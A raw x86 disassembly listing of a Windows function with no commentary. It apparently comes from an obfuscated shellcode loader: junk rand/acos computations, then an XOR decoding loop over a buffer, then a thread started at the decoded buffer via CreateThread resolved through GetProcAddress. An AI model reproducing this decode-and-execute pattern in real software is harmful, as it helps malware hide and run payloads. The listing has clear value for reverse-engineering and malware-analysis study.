mov dword [ebp - 0x198], 0
mov dword [esp], 0x990
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x6c], 0
jmp 0x4027aa
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
imul eax, eax, 0x190
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x198], edx
cmp dword [ebp - 0x198], 0x168
jle 0x40274f
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x19c]
add eax, edx
fldz
fstp dword [eax]
jmp 0x4027a6
cmp dword [ebp - 0x198], 0
jns 0x402770
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x19c]
add eax, edx
fldz
fstp dword [eax]
jmp 0x4027a6
fild dword [ebp - 0x198]
fld qword [0x405220]
fmulp st(1)
fld qword [0x405228]
fdivp st(1)
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x19c]
add eax, edx
fstp dword [ebp - 0x2d8]
fld dword [ebp - 0x2d8]
fstp dword [eax]
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0x263
jle 0x4026f3
mov eax, dword [ebp - 0x19c]
mov dword [esp], eax
call sub.msvcrt.dll_free
cmp dword [ebp - 0x58], 0x5b
jne 0x4028a9
mov dword [esp], 0x1958
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x70], 0
jmp 0x402823
call sub.msvcrt.dll_rand
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
fld qword [0x405218]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1a0]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0x70], 1
cmp dword [ebp - 0x70], 0x32a
jle 0x4027ea
mov dword [ebp - 0x70], 0
jmp 0x40286a
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1a0]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1a0]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_acos
fstp qword [ebx]
add dword [ebp - 0x70], 1
cmp dword [ebp - 0x70], 0x32a
jle 0x402835
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x16c]
add eax, edx
movzx ebx, byte [eax]
lea edx, [ebp - 0x28d]
mov eax, dword [ebp - 0x58]
add eax, edx
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x16c]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
mov dword [ebp - 0x58], 0
jmp 0x4028da
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x16c]
add eax, edx
movzx ebx, byte [eax]
lea edx, [ebp - 0x28d]
mov eax, dword [ebp - 0x58]
add eax, edx
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x16c]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
add dword [ebp - 0x58], 1
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x161
jle 0x4026cb
mov dword [esp + 4], str.CreateThread
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x1d4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x16c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x188]
call eax
sub esp, 0x18
mov dword [ebp - 0x18c], eax
mov dword [esp + 4], str.WaitForSingleObject
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x190], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x18c]
mov dword [esp], eax
mov eax, dword [ebp - 0x190]
call eax
sub esp, 8
mov dword [ebp - 0x194], eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret